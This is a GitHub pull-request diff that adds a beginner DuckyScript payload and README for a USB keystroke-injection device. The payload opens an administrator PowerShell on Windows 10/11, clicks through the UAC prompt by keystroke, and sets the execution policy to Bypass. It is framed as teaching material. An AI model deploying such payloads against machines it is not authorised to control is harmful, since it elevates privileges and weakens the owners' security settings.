Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
# Starting a PowerShell with administrator permissions in Windows 10/11

This script can be considered by people who are new to the world of scripts written in DuckyScript so that they can understand how to start a PowerShell with administrator permissions on a Windows machine.

**Category**: Execute

## Description

This script can be considered by people who are new to the world of scripts written in DuckyScript so that they can understand how to start a PowerShell with administrator permissions on a Windows machine.

Starting a PowerShell session with administrator privileges means the session has access to features and operations that require high permissions on the Windows operating system.

Some PowerShell commands require administrator privileges to run properly. Starting PowerShell as an administrator allows you to execute commands that require elevated permissions, such as managing system services, changing security settings, creating or modifying user accounts, installing system-level software, and so on.

It is important to note that running PowerShell with administrator privileges involves a higher level of responsibility and can cause significant changes to the system. Therefore, it is advisable to be careful and fully understand the effects of operations performed in a session with administrator privileges to avoid unwanted or harmful changes.

## Dependencies

* Nothing

## Example

- `STRINGLN Get-ExecutionPolicy -List`

![](https://i.ibb.co/4jTzKQK/1.png)

- `STRINGLN Set-ExecutionPolicy Bypass`

![](https://i.ibb.co/wJTttR6/2.png)

- `STRINGLN Get-ExecutionPolicy -List`

![](https://i.ibb.co/XzBjKWP/3.png)

## Credits

<h2 align="center">Aleff</h2>
<div align=center>
<table>
<tr>
<td align="center" width="96">
<a href="https://github.com/aleff-github">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width="48" height="48" />
</a>
<br>Github
</td>
<td align="center" width="96">
<a href="https://www.linkedin.com/in/alessandro-greco-aka-aleff/">
<img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width="48" height="48" />
</a>
<br>LinkedIn
</td>
</tr>
</table>
</div>
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
####################################################################################
# #
# Title : Starting a PowerShell with administrator permissions in Windows #
# Author : Aleff #
# Version : 1.0 #
# Category : Execute #
# Target : Windows 10-11 #
# #
####################################################################################

ATTACKMODE HID

# Requirements:
# - Nothing

QUACK DELAY 1000
QUACK GUI x
QUACK DELAY 500
QUACK STRING a
QUACK DELAY 500
QUACK LEFT_ARROW
QUACK DELAY 500
QUACK ENTER

QUACK DELAY 2000
QUACK STRING Get-ExecutionPolicy -List
QUACK ENTER
QUACK DELAY 500
QUACK STRING Set-ExecutionPolicy Bypass
QUACK ENTER
QUACK DELAY 500
QUACK STRING Get-ExecutionPolicy -List
QUACK ENTER
QUACK DELAY 500

QUACK ALT F4